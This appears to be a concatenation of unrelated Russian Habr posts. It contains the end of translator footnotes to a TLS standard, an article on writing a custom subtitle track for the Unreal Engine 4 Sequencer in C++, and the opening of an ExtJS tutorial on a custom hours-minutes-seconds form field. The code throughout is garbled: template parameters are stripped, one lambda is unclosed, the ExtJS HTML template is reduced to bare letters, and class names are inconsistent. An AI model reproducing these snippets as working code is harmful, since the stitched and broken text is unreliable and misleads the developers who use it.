[[24]](#_ftnref17) [Раздел 5](https://habr.com/ru/post/573268/#_section_500) стандарта определяет `PRF` как `PRF(secret, label, seed)`. Таким образом, `SecurityParameters.master_secret = secret,` сумма `SecurityParameters.server_random + SecurityParameters.client_random = seed` (начальное значение). А строка «`key expansion`» является меткой (`label`). Подробнее о PRF стандарта TLS см. Разд. 5. (Прим. перев.).
[[25]](#_ftnref5) Серверное hello-сообщение рассматривается в п. 7.4.1.2 Стандарта и является одним из сообщений протокола рукопожатия TLS (Прим. перев).
[[26]](#_ftnref26)`ChangeCipherSpec (`изменение параметров шифрования`)`, `Alert (`оповещения`)` и `Handshake (`рукопожатие`)`являются тремя подпротоколами процесса рукопожатия TLS и описываются в разделе 7 данного стандарта (Прим. перев.).
[[27]](#_ftnref27) Понятно, что при использовании нулевого шифра `TLSCiphertext.length = TLSCompressed.length,` так как в этом случае `SecurityParameters.mac_length = 0` (Прим. перев)`.`
[[28]](#_ftnref11) Как видно, в конце сообщения содержится 6 байт набивки + 1 байт со значением ее длины (Прим. перев.).
[[29]](#_ftnref29) См. Прим. 14.
[[30]](#_ftnref30) Seq\_num - число порядка (см.тж. Разд.6. 1) (Прим. перев.).
[[31]](#_ftnref31) Как видно, незашифрованное сообщение является сообщением, подвергнутым операции сжатия (Прим. перев.). | https://habr.com/ru/post/574424/ | null | ru | null |
# Как и зачем мы добавили новый тип треков для Sequencer UE4
В ходе разработки нашей игры мы столкнулись с необходимостью добавить возможность показывать элементы игрового интерфейса (виджеты) во время проигрывания катсцен. При этом требовалось обеспечить:
* возможность настройки содержимого виджетов;
* время их демонстрации;
* сделать все это простым в использовании для геймдизайнеров.
В нашем проекте практически все катсцены созданы с использованием одного из инструментов UE4 — Sequencer.
Основной задачей Sequencer является предоставление удобного функционала для создания различных кинематографичных вставок на игровом движке. Наиболее популярным его применением является создание заскриптованных игровых событий — катсцен, пролетов камер и любых других событий, где мы хотим показать игроку заранее срежиссированное событие.
Кроме того, Sequencer позволяет не только показывать подготовленную последовательность прямо в игре, но и отрендерить предоставленную последовательность в видео-файл, что сделало его популярным инструментом для создания трейлеров и подготовки промо материалов.
В ходе изучения способов добавления новой логики, было принято решение расширить инструментарий Sequencer-а. Это позволяло продолжить создание катсцен с новыми событиями по единому пайплайну. Несмотря на то, что есть достаточно много подробной [документации](https://docs.unrealengine.com/en-US/AnimatingObjects/Sequencer/index.html) по работе с Sequencer-ом, способы его расширения и внутренние механизмы работы оставались покрыты тайной.
В этой статье я расскажу о том, как мы добавили нужную нам логику, в качестве новых типов треков в Sequencer, и настроили их поведение. Все модификации осуществляются на версии движка UE4 4.24.3, а сам способ расширения потребует знания C++.
Основные элементы Sequencer-а
-----------------------------
Если вы следили за развитием движка, либо работали с его ранними версиями, то можете помнить предшественника Sequencer — Matinee. Со временем от Matinee отказались в пользу нового и более развитого Sequencer-а, но общее предназначение данной тулзы сохранилось. Можно также провести аналогию с одним из инструментов другого игрового движка Unity — Timeline.
В качестве одного из многочисленных примеров можно привести вступительную катсцену из одного демо проекта UE4:
А так, данная катсцена выглядит при настройке в редакторе:
Как видно, интерфейс для работы с Sequencer-ом во многом напоминает интерфейс видеоредакторов и в его использовании применяются аналогичные принципы.
Из основных элементов нас интересуют раздел со списком треков (1) и окно таймлайна с секциями треков (2), где мы выстраиваем изменение секций треков в зависимости от текущего кадра последовательности.
В нашем случае в роли треков выступают разнообразные игровые события: проигрывание анимаций, звуков, эффектов, манипуляции с игровыми объектами и по сути любые возможные изменения на игровой сцене.
Отмечу, что хранение всех файлов Sequencer-a в UE4 осуществляется, так же как и всех остальных файлов проекта UE4 — в виде ассетов:
И по сути работа с такими ассетами осуществляется точно так же, как и с любыми другим файлами проекта.
Sequencer уже содержит множество готовых треков с разнообразными параметрами для настройки:
Так, например, “Audio Track” позволяет добавить проигрывание звука в нужные нам моменты времени, а также изменять параметры этого звука:
Трек “Actor To Sequence” позволяет добавить ссылку на одного из акторов с игровой сцены и также изменять его параметры — трансформ, анимации и другие доступные параметры:
Со всем списком доступных треков и их настроек лучше всего ознакомиться в официальной [документации](https://docs.unrealengine.com/en-US/AnimatingObjects/Sequencer/HowTo/index.html) по UE4, а мы перейдем к возможным способам добавить необходимый нам функционал по созданию и отображению виджетов во время проигрывания катсцен.
Одним из подходящих кандидатов является “Event Track”:
“Event Track” позволяет добавить скрипт в таймлайн и настроить его логику с помощью блюпринтов:
1. Добавляем трек:
2. Добавляем секцию трека в таймлайн:
3. Далее двойным кликом мыши по секции (“SequenceEvent\_0”) можно перейти в редактор логики, где можно создать свое событие:
Такой способ позволяет покрыть собой все недостающие возможности готовых треков, но у такого подхода был ключевой для нас недостаток — это отсутствие простой возможности использовать один и тот же эвент с разными настройками в разных катсценах. Нам бы пришлось каждый раз копировать содержимое эвентов между катсценами, либо каждый раз заново писать одинаковую логику поведения трека. При этом возможность каким-то образом облегчить этот процесс с помощью правок в функционале Sequencer-a выглядела достаточно трудоемкой и неочевидной.
Тем не менее, “Event Track” хорошо подходит для создания дополнительных заскриптованных событий в катсценах.
Другим способом оказалась идея добавить добавить свой собственный тип треков в Sequencer, который сразу бы содержал нужную логику и предоставлял аналогичный всем текущим трекам интерфейс для своей настройки. О том, как этого можно достичь и пойдет речь дальше.
Создание нового трека
---------------------
Функциональность Sequencer-а разнесена на несколько модулей:
* Модуль Sequencer-a (*Engine\Source\Editor\Sequencer\*) который отвечает за всю логику работы в редакторе (это весь UI инструмента, а следовательно и вся логика по созданию новых треков).
Данный модуль доступен только из редактора и отсутствует в игре.
* Модули *MovieScene* (*Engine\Source\Runtime*): *MovieSceneTracks*, *MovieSceneTools*, *MovieSceneCapture*, *MovieSceneCaptureDialog*. Данные модули отвечают за непосредственную логику работы разных элементов Sequencer-а.
Нас в основном будет интересовать модуль *MovieSceneTracks*, который реализует работу треков Sequencer-a. Если вам до этого не приходилось детально вникать в [модульную](https://docs.unrealengine.com/en-US/ProductionPipelines/BuildTools/UnrealBuildTool/ModuleFiles/index.html) архитектуру UE4, то поясню, что весь код движка разбит на множество модулей, каждый из которых имеет свое предназначение. Любой модуль, по сути, представляет собой отдельную dll-библиотеку.
Изучив исходники доступных треков, можно понять какие интерфейсы и классы отвечают за элементы Sequencer. Например, Audio Track состоит из следующих частей:
Внутренние связи между классами выглядят следующим образом:
Таким образом для создания нового типа трека нам потребуется совершить следующие шаги:
1. Создать наследника класса *FMovieSceneTrackEditor*.
1. Реализовать интерфейс *ISequencerSection*.
2. «Зарегистрировать» новый класс трека в модуле Sequencer.
3. Создать наследника класса *UMovieSceneTrack*.
4. Создать наследника класса *UMovieSceneSection*.
5. Создать наследника *FMovieSceneEventTemplate*.
1. Реализовать интерфейс *IMovieSceneExecutionToken* & *IPersistentEvaluationData.*
Из представленных классов часть относится к модулю редактора и реализует логику настройки треков и секций в редакторе — *FMovieSceneTrackEditor*, *ISequencerSection*. Класс-наследник FMovieSceneTrackEditor необходимо зарегистрировать в модуле Sequencer. Таким образом редактор узнает о новом типе треков.
Остальные классы отвечают за логику работы трека и в игре, и в редакторе — *UMovieSceneTrack*, *UMovieSceneSection*, *FMovieSceneEventTemplate*;
Перейдем к первому шагу создания нового трека — это создание класса, отвечающего за добавление нового трека в Sequencer — класс *FMovieSceneTrackEditor*.
Создадим наш класс. Я заранее приведу все необходимые методы, а дальше опишу их назначение и реализацию:
Код
```
class FMovieSceneSubtitlesTrackEditor : public FMovieSceneTrackEditor
{
public:
FMovieSceneSubtitlesTrackEditor(TSharedRef InSequencer);
static TSharedRef CreateTrackEditor(TSharedRef OwningSequencer);
// ISequencerTrackEditor interface
virtual void BuildAddTrackMenu(FMenuBuilder& MenuBuilder) override;
virtual TSharedPtr BuildOutlinerEditWidget(const FGuid& ObjectBinding, UMovieSceneTrack\* Track, const FBuildEditWidgetParams& Params);
virtual const FSlateBrush\* GetIconBrush() const override;
virtual TSharedRef MakeSectionInterface(UMovieSceneSection& SectionObject, UMovieSceneTrack& Track, FGuid ObjectBinding) override;
virtual bool SupportsType(TSubclassOf Type) const override;
virtual bool SupportsSequence(UMovieSceneSequence\* InSequence) const override;
private:
FReply AddNewTrack(UMovieSceneTrack\* Track);
};
```
Условно содержимое класса можно разбить на две части:
* Логика создания нового трека.
* Логика создания новых секций трека.
Кроме класса реализующего «трек», нам потребуется сразу создать класс *FMovieSceneSubtitlesEventSection*, отвечающий за секцию данного трека. Сам класс секции трека является реализацией интерфейса *ISequencerSection*.
Код
```
class FMovieSceneSubtitlesEventSection : public ISequencerSection
{
public:
FMovieSceneSubtitlesEventSection(UMovieSceneSection& InSection, TWeakPtr InSequencer);
virtual int32 OnPaintSection(FSequencerSectionPainter& InPainter) const override;
virtual UMovieSceneSection\* GetSectionObject() override;
virtual FText GetSectionTitle() const override;
virtual float GetSectionHeight() const override;
private:
UMovieSceneSubtitleSection\* Section;
};
```
Также сразу потребуется создать отдельный класс — *UMovieSceneSubtitleSection*. Новый класс будет хранить текст наших субтитров и использоваться секциями треков для запуска логики работы секции трека в игре:
Код
```
UCLASS()
class UE4MAGICHIGH_API UMovieSceneSubtitleSection : public UMovieSceneSection
{
GENERATED_BODY()
public:
UPROPERTY(EditAnywhere, meta = (MultiLine = true))
FText SubtitleText;
virtual FMovieSceneEvalTemplatePtr GenerateTemplate() const override;
};
```
В первую очередь нам нужно зарегистрировать новый класс в модуле Sequencer. Это делается достаточно просто:
Код
```
ISequencerModule& SequencerModule = FModuleManager::LoadModuleChecked(TEXT("Sequencer"));
MovieSceneSubtitlesTrackEditorHandle = SequencerModule.RegisterTrackEditor(FOnCreateTrackEditor::CreateStatic(&FMovieSceneSubtitlesTrackEditor::CreateTrackEditor));
```
Регистрация по сути привязывает указатель на наш метод для создания объекта:
Код
```
TSharedRef FMovieSceneSubtitlesTrackEditor::CreateTrackEditor(TSharedRef InSequencer)
{
return MakeShareable(new FMovieSceneSubtitlesTrackEditor(InSequencer));
}
```
Кроме этого, переопределим несколько методов отвечающих за проверки на возможность добавления нового типа трека:
Код
```
bool FMovieSceneSubtitlesTrackEditor::SupportsType(TSubclassOf Type) const
{
return Type == UMovieSceneSubtitleTrack::StaticClass();
}
bool FMovieSceneSubtitlesTrackEditor::SupportsSequence(UMovieSceneSequence\* InSequence) const
{
static UClass\* LevelSequenceClass = FindObject(ANY\_PACKAGE, TEXT("LevelSequence"), true);
return InSequence != nullptr && LevelSequenceClass != nullptr && InSequence->GetClass()->IsChildOf(LevelSequenceClass);
}
```
Для корректной работы создания трека нам остается переопределить следующий метод:
Код
```
void FMovieSceneSubtitlesTrackEditor::BuildAddTrackMenu(FMenuBuilder& MenuBuilder)
{
// добавляем новую кнопку(опцию) в меню
MenuBuilder.AddMenuEntry(
// прописываем название опции
LOCTEXT("AddSubtitlesEventTrack", "Subtitles Track"),
LOCTEXT("AddSubtitlesTrackTooltip", "Adds a subtitles track."),
// создаем стиль кнопки
FSlateIcon(FEditorStyle::GetStyleSetName(), "ClassIcon.TextRenderComponent"),
// добавляем лямбду, которая реализует логику нажатия на кнопку
FUIAction(FExecuteAction::CreateLambda([=] {
auto FocusedMovieScene = GetFocusedMovieScene();
if (FocusedMovieScene == nullptr)
{
return;
}
const FScopedTransaction Transaction(LOCTEXT("MovieSceneSubtitlesTrackEditor_Transaction", "Add Subtitle Track"));
FocusedMovieScene->Modify();
// непосредственно создаем и добавляем наш трек в Sequencer
auto NewTrack = FocusedMovieScene->AddMasterTrack();
ensure(NewTrack);
NewTrack->SetDisplayName(FText::FromString("Subtitles"));
GetSequencer()->NotifyMovieSceneDataChanged(EMovieSceneDataChangeType::MovieSceneStructureItemAdded);
})));
```
В результате мы сможем увидеть и добавить новый трек и секцию трека.
Для создания кнопки по добавлению секции, которая появляется при выделении курсором мыши нашего нового трека, потребуется реализовать оставшиеся методы:
Код
```
TSharedPtr FMovieSceneSubtitlesTrackEditor::BuildOutlinerEditWidget(const FGuid& ObjectBinding, UMovieSceneTrack\* Track, const FBuildEditWidgetParams& Params)
{
FSlateFontInfo SmallLayoutFont = FCoreStyle::GetDefaultFontStyle("Regular", 8);
// подготовим лямбду на отображение кнопки только при выделении ноды
auto OnGetVisibilityLambda = [this, Params]() -> EVisibility {
if (Params.NodeIsHovered.Get())
{
return EVisibility::SelfHitTestInvisible;
}
return EVisibility::Collapsed;
};
// текст кнопки
TSharedRef ComboButtonText = SNew(STextBlock)
.Text(LOCTEXT("SubtitlesTextSequencer", "Subtitles")) .Font(SmallLayoutFont) .ColorAndOpacity(FSlateColor::UseForeground()) .Visibility\_Lambda(OnGetVisibilityLambda);
// сама кнопка
TSharedRef Button = SNew(SButton)
.ButtonStyle(FEditorStyle::Get(), "HoverHintOnly")
.ForegroundColor(FSlateColor::UseForeground())
.IsEnabled\_Lambda([=]()
{ return GetSequencer().IsValid() ? !GetSequencer()->IsReadOnly() : false;
.ContentPadding(FMargin(5, 2))
// добавим лямбду для создания нового трека при нажатии на кнопку
.OnClicked(this, &FMovieSceneSubtitlesTrackEditor::AddNewTrack, Track)
.HAlign(HAlign\_Center)
.VAlign(VAlign\_Center)
[SNew(SHorizontalBox)
+ SHorizontalBox::Slot()
.AutoWidth()
.VAlign(VAlign\_Center)
.Padding(FMargin(0, 0, 2, 0))
[SNew(SImage)
// стиль нашей кнопки
.ColorAndOpacity(FSlateColor::UseForeground())
.Image(FEditorStyle::GetBrush("Plus"))]
+ SHorizontalBox::Slot()
.VAlign(VAlign\_Center)
.AutoWidth()
[ComboButtonText]];
return Button;
}
// метод, вызываемый при нажатии на кнопку “добавить новую секцию”
FReply FMovieSceneSubtitlesTrackEditor::AddNewTrack(UMovieSceneTrack\* Track)
{
UMovieScene\* FocusedMovieScene = GetFocusedMovieScene();
Track->Modify();
// задаем начальные параметры секции
FFrameNumber KeyTime = GetSequencer()->GetGlobalTime().Time.FrameNumber;
auto SubtitleTrack = Cast(Track);
TRange SectionRange = FocusedMovieScene->GetPlaybackRange();
// добавляем секцию
SubtitleTrack->AddSection(KeyTime, SectionRange);
GetSequencer()->NotifyMovieSceneDataChanged(EMovieSceneDataChangeType::MovieSceneStructureItemAdded);
return FReply::Handled();
}
TSharedRef FMovieSceneSubtitlesTrackEditor::MakeSectionInterface(UMovieSceneSection& SectionObject, UMovieSceneTrack& Track, FGuid ObjectBinding)
{
return MakeShareable(new FMovieSceneSubtitlesEventSection(SectionObject, GetSequencer()));
}
```
Таким образом мы сможем добавить новую секцию.
Возвращаясь к реализации класса *FMovieSceneSubtitlesEventSection,* который отвечает за отображение секций трека в Sequencer — в нашем случае ограничимся демонстрацией текста субтитров в поле секции.
Код
```
virtual FText GetSectionTitle() const override
{
return Section->SubtitleText;
}
```
Для корректного отображения размера секции будем использовать простой алгоритм подсчета новых строк в субтитрах.
Код
```
virtual float GetSectionHeight() const override
{
const FString StrSubtitles = Section->SubtitleText.ToString();
int NewLineSymbols = Algo::CountIf(StrSubtitles, [](const auto& symbol) {
return symbol == '\n';
});
NewLineSymbols++; // доп. место под первую строку
return SequencerSectionConstants::DefaultSectionHeight * NewLineSymbols;
}
```
Реализации методов в совокупности приводит к следующему виду секции трека:
Из остальных методов наибольший интерес представляет *OnPaintSection.*
Код
```
virtual int32 OnPaintSection(FSequencerSectionPainter& InPainter) const override
{
return InPainter.PaintSectionBackground();
}
```
В нашем случае мы его никак не используем, но именно этот метод позволяет «рисовать» различные данные поверх окна секции. Например, именно этот метод отображает форму звука в AudioTrack.
Пример реализации такой логики лучше всего изучить самостоятельно в AudioTrackEditor.cpp.
Остальные методы являются сугубо техническими.
Код
```
FMovieSceneSubtitlesEventSection(UMovieSceneSection& InSection, TWeakPtr InSequencer)
{
Section = Cast(&InSection);
}
virtual UMovieSceneSection\* GetSectionObject() override
{
return Section;
}
```
Нам остается реализовать оставшиеся классы, которые содержат непосредственную логику работы наших субтитров:
* *UMovieSceneSubtitleTrack;*
* *UMovieSceneSubtitleSection;*
* *FMovieSceneSubtitlesEventTemplate.*
Класс *UMovieSceneSubtitleSection* является самым простым и содержит текст субтитров, которые мы хотим отображать. *UPROPERTY* этого класса будут доступны для настройки из самого Sequencer.
Код
```
UCLASS()
class UE4MAGICHIGH_API UMovieSceneSubtitleSection : public UMovieSceneSection
{
GENERATED_BODY()
public:
UPROPERTY(EditAnywhere, meta = (MultiLine = true))
FText SubtitleText;
virtual FMovieSceneEvalTemplatePtr GenerateTemplate() const override
{
return FMovieSceneSubtitlesEventTemplate(*this);
}
};
```
Класс *UMovieSceneNameableTrack* содержит логику по созданию объекта, который уже отвечает за:
* создание виджета субтитров;
* передачу параметров;
* завершение работы виджета субтитров.
Код
```
void FMovieSceneSubtitlesEventTemplate::Evaluate(const FMovieSceneEvaluationOperand& Operand, const FMovieSceneContext& Context, const FPersistentEvaluationData& PersistentData, FMovieSceneExecutionTokens& ExecutionTokens) const
{
ExecutionTokens.Add(FSubtitlesSectionExecutionToken(Section));
}
void FMovieSceneSubtitlesEventTemplate::TearDown(FPersistentEvaluationData& PersistentData, IMovieScenePlayer& Player) const
{
FCachedSubtitlesTrackData& TrackData = PersistentData.GetOrAddTrackData();
TrackData.RemoveSubtitleWidget();
}
```
Сам класс, по сути, просто создает объект, реализующий интерфейс *IMovieSceneExecutionToken*. В *IMovieSceneExecutionToken* нас интересует метод Evaluate, который и будет создавать виджет на экране пользователя. Сам виджет будет просто отображать текст на экране пользователя.
Код
```
struct FSubtitlesSectionExecutionToken : IMovieSceneExecutionToken
{
FSubtitlesSectionExecutionToken(const UMovieSceneSubtitleSection* InSubtitleSection)
: SubtitleSection(InSubtitleSection), SectionKey(InSubtitleSection)
{
}
virtual void Execute(const FMovieSceneContext& Context, const FMovieSceneEvaluationOperand& Operand, FPersistentEvaluationData& PersistentData, IMovieScenePlayer& Player)
{
FCachedSubtitlesTrackData& TrackData = PersistentData.GetOrAddTrackData();
UObject\* PlaybackContext = Player.GetPlaybackContext();
if (!PlaybackContext)
{
return;
}
UWorld\* World = PlaybackContext->GetWorld();
if (!World)
{
return;
}
UMHSubtitlesWindow\* SubtitlesWindow = Cast(UUserWidget::CreateWidgetInstance(\*World, HUD->SubtitlesWidgetTemplate, FName(TEXT("Subtitles"))));
SubtitlesWindow->AddToViewport();
SubtitlesWindow->SetSubtitltesText(SubtitleSection->SubtitleText);
TrackData.AddSubtitleWidget(SubtitlesWindow);
}
}
const UMovieSceneSubtitleSection\* SubtitleSection;
FObjectKey SectionKey;
};
```
Для хранения данных секции используется объект, реализующий интерфейс *IPersistentEvaluationData.*
Код
```
struct FCachedSubtitlesTrackData : IPersistentEvaluationData
{
void AddSubtitleWidget(UMHWindowWidget* Widget)
{
SubttitleWidget = Widget;
}
void RemoveSubtitleWidget()
{
if (SubttitleWidget &&
SubttitleWidget->IsValidLowLevel())
{
SubttitleWidget->RemoveFromViewport();
}
SubttitleWidget = nullptr;
}
UMHWindowWidget* GetSubtitleWidget() const
{
return SubttitleWidget;
}
private:
UMHWindowWidget* SubttitleWidget = nullptr;
};
```
В итоге мы сможем увидеть субтитры при проигрывании катсцены.
На этом наша цель достигнута! | https://habr.com/ru/post/546386/ | null | ru | null |
# ExtJS – учимся правильно писать компоненты
Хочу открыть небольшой цикл статей посвященный проблеме создания custom-компонентов в ExtJS. В них хочу поделится с читателями Хабра своим опытом в данной области, опишу подробно все тонкости данного процесса, на что следует всегда обращать внимание, какие ошибки подстерегают начинающих программистов и как их можно избежать.
Рано или поздно приходит время, когда стандартные компоненты ExtJS не могут удовлетворить потребностей разработчика. Или же, в процессе рефакторинга приложения возникает необходимость вынести часть интерфейса (несколько компонентов, форму, таблицу, вкладку) в отдельный компонент. В обоих случаях приходится прибегать к созданию custom-компонентов.
Азы данного процесса уже много раз обсуждались и описывались, расписывать их я не буду, а изображу схематически:
`ищем подходящий компонент-прародитель –-> наследуем его при помощи Ext.extend –-> регистрируем xtype при помощи Ext.reg`
Но за кажущейся простотой скрывается множество нюансов. В первую очередь – как подобрать подходящего прародителя? Начинающие разработчики пользуются следующим подходом – подбирают наследуемый компонент так, чтобы написать в итоге как можно меньше кода, причем – исключительно в рамках знакомых им конструкций. Их пугают onRender, создание элементов, навешивание обработчиков событий. Не спрою, в определенных случаях такой подход, конечно правильный и оправдывает свою простоту. Надо поле с кнопкой рядом – наследуйте Ext.form.TriggerField, надо поле с выпадающим списком – наследуйте Ext.from.Combobox, надо встроить визуальный редактор – наследуйте Ext.form.TextArea. Но бывают и совсем «нештатные» ситуации, в которых выбор наследуемого компонента надо выполнять тщательно и обдуманно.
Рассмотрим следующий практический пример. Для админ-панели одного сайта с видео галереей мне необходимо было создать элемент управления для ввода длительности ролика. Он должен был содержать три поля ввода (часы, минуты, секунды) в одной строке и содержать единый вход/выход (методы setValue/getValue), которые бы оперировали с длительностью в секундах.
Полтора года назад, когда я был еще начинающим ExtJS-разработчиком, я бы решал данную проблему так: * унаследовал бы компонент от Ext.Panel
* используя ColumnLayout вывел бы в нем три поля в трех колонках
* написал бы методы getValue/setValue, обращаясь к полям через зубодробительные конструкции вроде this.items.items[0].items.items[0].getValue() …
Да, компонент бы работал, отдавал/устанавливал значения. Правда, его код был бы до ужаса некрасивый, а метод getValue () постоянно бы обращался к полям и пересчитывал общую длительность (даже если бы значения в полях не менялись). Но это – еще полбеды. В будущем, когда возникла бы необходимость сделать валидацию формы или воспользоваться методами сериализации/загрузки форм (getValues/setValues, loadRecord/updateRecord), я бы неизбежно столкнулся с проблемами. Форма просто бы «забывала» про существование компонента как такового, упорно не признавала бы его своим полем. В итоге пришлось бы писать еще кучу «костылей», копи-пастить код из Ext.form.Field, чтобы заставить компонент вменяемо работать как поле формы.
Поэтому в настоящее время я придерживаюсь следующего принципа: любой компонент, который должен будет работать как поле формы и участвовать в процессах сериализации и валидации, обязан быть унаследованным исключительно от *Ext.form.Field* или любого из его потомков.
Для начала создадим новый компонент, унаследовав Ext.form.Field:
> `1. Ext.ux.TimeField = Ext.extend(Ext.form.Field, {
> 2.
> 3.
> 4. });
> 5.
> 6. Ext.reg('admintimefield', Ext.Admin.TimeField);
> \* This source code was highlighted with Source Code Highlighter.`
Каждое поле формы по умолчанию рендерит свой элемент. В стандартных компонентах-полях формы это либо поле ввода либо checkbox. Элемент поля ввода сохраняется в свойстве el после рендера. Так же он автоматически меняет размер при изменении размеров контейнера компонента.
Поскольку у нас компонент содержит внутри сразу три поля, мы будем создавать в качестве элемента по умолчанию div, в который будут «завернуты» наши три поля и их label'ы. Чтобы изменить тэг и свойства элемента по умолчанию, предопределим свойство defaultAutoCreate:
> `1. Ext.ux.TimeField = Ext.extend(Ext.form.Field, {
> 2.
> 3. defaultAutoCreate : {tag: 'div', 'class' : 'time-field-wrap'},
> 4.
> 5. .................................................................
> \* This source code was highlighted with Source Code Highlighter.`
Теперь можно создать внутреннюю структуру («каркас») нашего поля ввода. Выведем в ряд 6 div'ов. Три из них будут контейнерами для элементов управления типа spinner (для ввода часов минут и секунд), а другие три – содержать соответствующие label'ы. Для наглядности будем создавать их не при помощи Ext.DomHelper, а с использованием шаблонизатора Ext.XTemplate. Весь пользовательский рендер помещается в унаследованном методе onRender, после вызова родительского метода:
> `1. Ext.Admin.TimeField = Ext.extend(Ext.form.Field, {
> 2. timeFieldTpl : new Ext.XTemplate(
> 3. 'ч',
> 4. 'м',
> 5. 'с'
> 6. ),
> 7. .................................................................
> 8.
> 9. onRender : function(ct, position){
> 10. Ext.Admin.TimeField.superclass.onRender.call(this, ct, position);
> 11. this.el.update(this.timeFieldTpl.apply(this));
> 12.
> 13. .................................................................
> \* This source code was highlighted with Source Code Highlighter.`
Чтобы «каркас» компонента располагался так как нам надо – в одной строке, напишем и подключим следующую таблицу css:
> `1. div.hours-ct,
> 2. div.minutes-ct,
> 3. div.seconds-ct,
> 4. div.timeunittext-ct {
> 5. display: inline-block;
> 6. width: 10px;
> 7. }
> 8.
> 9. div.hours-ct,
> 10. div.minutes-ct,
> 11. div.seconds-ct {
> 12. width: 50px;
> 13. }
> \* This source code was highlighted with Source Code Highlighter.`
Для простоты реализации размеры полей я взял фиксированные – 50 пикселов.
«Каркас» компонента готов. Для завершения процедуры рендера остается только создать и отобразить компоненты полей. Сначала найдем при помощи Ext.query DOM-элементы их контейнеров, а потом создадим экземпляры компонентов, указав им делать рендер в соответствующие контейнеры:
> `1. onRender : function(ct, position){
> 2. Ext.Admin.TimeField.superclass.onRender.call(this, ct, position);
> 3. this.el.update(this.timeFieldTpl.apply(this));
> 4. Ext.each(['hours', 'minutes', 'seconds'], function (i) {
> 5. this[i+'Ct'] = Ext.query('.' + i + '-ct', this.el.dom)[0];
> 6. this[i+'Field'] = Ext.create({
> 7. xtype: 'spinnerfield',
> 8. minValue: 0,
> 9. maxValue: i=='hours' ? 23 : 59,
> 10. renderTo : this[i+'Ct'],
> 11. width: 45,
> 12. value: 0
> 13. });
> 14. }, this);
> 15. .................................................................
> \* This source code was highlighted with Source Code Highlighter.`
Заметим, что сами компоненты после рендеринга сохраняются в свойствах this.xxxField, что позволяет нам легко и удобно к ним обращаться (вместо зубодробительных конструкций, описанный парой абзацев выше).
Визуальная часть компонента готова, осталось доделать функциональную – методы getValue/setValue и поддержку валидации/сериализации.
Чтобы метод getValue не пересчитывал каждый раз количество секунд, поступим следующим образом:
* кол-во секунд будет хранится в свойстве value
* это свойство будет пересчитываться и обновляться тогда и только тогда, когда мы меняем значения в полях ввода
* метод getValue будет просто отдавать значение свойства value
Добавим в компонент методы
> `1. .................................................................
> 2. getValue : function(){
> 3. return this.value;
> 4. },
> 5. getRawValue : function () {
> 6. return this.value;
> 7. },
> 8. onTimeFieldsChanged : function () {
> 9. this.value = this.hoursField.getValue() \* 3600 + this.minutesField.getValue() \* 60 + this.secondsField.getValue();
> 10. this.fireEvent('change', this, this.value);
> 11. },
> 12. .................................................................
> \* This source code was highlighted with Source Code Highlighter.`
а при создании полей ввода установим onTimeFieldsChanged обработчиком всех возможных событий изменения:
> `1. .................................................................
> 2. this[i+'Field'] = Ext.create({
> 3. xtype: 'spinnerfield',
> 4. minValue: 0,
> 5. maxValue: i=='hours' ? 23 : 59,
> 6. renderTo : this[i+'Ct'],
> 7. width: 45,
> 8. value: 0,
> 9. enableKeyEvents: true,
> 10. listeners : {
> 11. keyup: this.onTimeFieldsChanged,
> 12. spinup: this.onTimeFieldsChanged,
> 13. spindown: this.onTimeFieldsChanged,
> 14. scope: this
> 15. }
> 16.
> 17. .................................................................
> \* This source code was highlighted with Source Code Highlighter.`
Как видим, при обновлении значения мы так же ретрансилируем полученное от полей ввода событие изменения. Это нам еще пригодится для поддержки валидации.
Для установки значения напишем метод setValue. *Мне доводилось работать с многими custom компонентами от сторонних разработчиков и в реализации большинства из них приходилось исправлять один и тот же глюк: ошибку при попытке вызвать setValue если компонент еще не совершил рендер. Разработчики просто забывали проверять это и сразу обращались к свойству this.el (которое еще не было создано).* В нашем компоненте мы учтем это, а так же будем дополнительно инициализировать значение нулем, если при создании оно не было указано:
> `1. .................................................................
> 2. initComponent: function () {
> 3. if (!Ext.isDefined(this.value)) this.value = 0;
> 4. Ext.Admin.TimeField.superclass.initComponent.call(this);
> 5. },
> 6.
> 7. setValue : function (v) {
> 8. var setFn = function (v) {
> 9. var h = Math.floor(v / 3600),
> 10. m = Math.floor((v % 3600) / 60),
> 11. s = v % 60;
> 12. this.hoursField.setValue(h);
> 13. this.minutesField.setValue(m);
> 14. this.secondsField.setValue(s);
> 15. };
> 16. this.value = v;
> 17. if (this.rendered) {
> 18. setFn.call(this, v);
> 19. } else {
> 20. this.on('afterrender', setFn.createDelegate(this, [v]), {single:true});
> 21. }
> 22. },
> 23. .................................................................<
> \* This source code was highlighted with Source Code Highlighter.`
Как видите, при попытке установить значение компоненту до рендера оно будет только сохранено в свойстве this.value, а фактическая подстановка нужных значений в поля ввода будет отложена до окончательного рендера компонента (путем установки одноразового обработчика события afterrender)
И для придания компоненту «товарного вида» остается только позаботится о валидации и сериализации.
Для реализации валидации мы пойдем стандартным путем Ext.from.Field, а именно:
* укажем событие при котором поле будет ревалидироватся (change)
* установим мониторинг валидации по нужному нам события в initEvents
* преопределим метод validateValue
* внесем изменения в CSS
> `1. ................................................
> 2. validationEvent : 'change',
> 3. ................................................
> 4. initEvents : function () {
> 5. Ext.ux.TimeField.superclass.initEvents.call(this);
> 6. if (this.validationEvent !== false && this.validationEvent != 'blur'){
> 7. this.mon(this, this.validationEvent, this.validate, this, {buffer: this.validationDelay});
> 8. }
> 9. },
> 10. ................................................
> 11. validateValue : function(value) {
> 12. if (this.allowBlank !== false) {
> 13. return true;
> 14. } else {
> 15. if (Ext.isDefined(value) && value != '' && value != '0' && value > 0) {
> 16. this.clearInvalid();
> 17. return true;
> 18. } else {
> 19. this.markInvalid(this.blankText);
> 20. return false;
> 21. }
> 22. }
> 23. },
> \* This source code was highlighted with Source Code Highlighter.`
> `1. .time-field-wrap.x-form-invalid {
> 2. background: none;
> 3. border: 0px none;
> 4. }
> 5.
> 6. .time-field-wrap.x-form-invalid .x-form-text {
> 7. background-color:#FFFFFF;
> 8. background-image:url(../../resources/images/default/grid/invalid\_line.gif);
> 9. background-position: left bottom;
> 10. border-color:#CC3300;
> 11. }
> \* This source code was highlighted with Source Code Highlighter.`
При мониторинге события применяется буферизация. Если мы меняем значение быстрее чем за this.validationDelay (по умолчанию — 250) мсек, то произойдет только один вызов обработчика (на последнее событие серии). Это — стандартный подход к мониторингу событий валидации, он используется во всех компонентах.
